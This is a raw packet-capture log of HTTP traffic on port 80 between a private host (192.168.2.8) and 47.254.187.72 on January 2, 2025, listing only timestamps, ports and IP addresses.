Jan 2, 2025 20:20:01.917237997 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.917258978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.917278051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.917289972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.917301893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.917304993 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.917315006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.917326927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.917340040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.917340994 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.917372942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.917392969 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.917850971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.917865038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.917875051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.917881012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.917895079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.917906046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.917906046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.917922020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.917931080 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.917960882 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.918756008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.918766975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.918778896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.918807983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.918821096 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.918842077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.918854952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.918867111 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.918880939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.918889046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.918893099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.918914080 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.918939114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.919231892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.919246912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.919259071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.919270039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.919281006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.919281960 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.919291973 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.919297934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.919311047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.919344902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.919356108 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.920542002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.920555115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.920573950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.920579910 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.920588017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.920603037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.920614004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.920615911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.920633078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.920634985 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.920643091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.920660019 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.920671940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.920685053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.920696974 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.920705080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.920713902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.920739889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.920753956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.920764923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.920768976 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.920778036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.920790911 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.920813084 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.920862913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.921910048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.921924114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.921935081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.921947002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.921958923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.921960115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.921973944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.921988010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.921998978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.922000885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.922020912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.922060013 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.922739029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.922763109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.922776937 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.922795057 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.922810078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.922816992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.922849894 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.922874928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.922909021 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.922920942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.922931910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.922934055 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.922955036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.922996998 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.923204899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.923218012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.923233032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.923245907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.923254013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.923269987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.923280954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.923281908 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.923295975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.923321962 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.923331022 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.923358917 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.924086094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.924098015 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.924110889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.924124956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.924149036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.924175024 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.924211025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.924223900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.924235106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.924247026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.924257040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.924258947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.924272060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.924283981 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.924284935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.924299955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.924310923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.924315929 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.924324036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.924338102 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.924371004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018115044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018132925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018145084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018156052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018168926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018172026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018174887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018182993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018188953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018194914 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018204927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018218040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018230915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018243074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018243074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018268108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018273115 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018282890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018286943 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018299103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018310070 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018332958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018348932 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018349886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018362999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018374920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018381119 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018385887 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018388033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018394947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018405914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018412113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018413067 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018419027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018429995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018435001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018436909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018444061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018475056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018487930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018498898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018505096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018506050 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018506050 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018517971 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018517971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018537998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018549919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018553972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018562078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018568039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018573999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018580914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018587112 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018604040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018616915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018627882 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018630028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018645048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018646955 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018663883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018673897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018676043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018688917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018703938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018708944 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018714905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018731117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018731117 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018747091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018759966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018764019 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018774033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018784046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018794060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018805027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.018805981 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018835068 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018853903 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.018997908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019016027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019026995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019038916 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019042969 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019054890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019067049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019071102 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019083023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019094944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019095898 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019114971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019120932 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019130945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019136906 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019145966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019160986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019170046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019172907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019188881 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019201994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019205093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019213915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019217014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019227982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019243956 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019258022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019270897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019282103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019294977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019301891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019309044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019328117 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019330025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019342899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019354105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019361973 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019366980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019378901 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019380093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019392014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019397974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019412041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019423962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019424915 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019443035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019455910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019459009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019469023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019474983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019481897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019495010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019506931 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019506931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019531012 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019553900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019774914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019813061 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019854069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019865990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019879103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019890070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019896030 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019903898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.019912958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019934893 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019970894 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.019998074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.020015955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.020026922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.020040035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.020044088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.020052910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.020064116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.020075083 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.020076036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.020087957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.020101070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.020111084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.020118952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.020121098 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.020133018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.020148039 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.020174980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.020205975 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.095113993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.095130920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.095155001 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.095170021 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.095181942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.095186949 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.095196009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.095210075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.095211029 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.095226049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.095237017 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.095273972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.095280886 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.108444929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.108459949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.108479977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.108499050 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.108544111 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.108571053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.108592033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.108611107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.108618975 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.108639956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.108654022 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.108661890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.108675003 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.108674049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.108690023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.108707905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.108714104 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.108724117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.108738899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.108743906 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.108755112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.108760118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.108769894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.108784914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.108798027 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.108804941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.108817101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.108836889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.108858109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.108871937 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.108892918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.108911037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.108923912 CET	80	49704	47.254.187.72	192.168.2.8
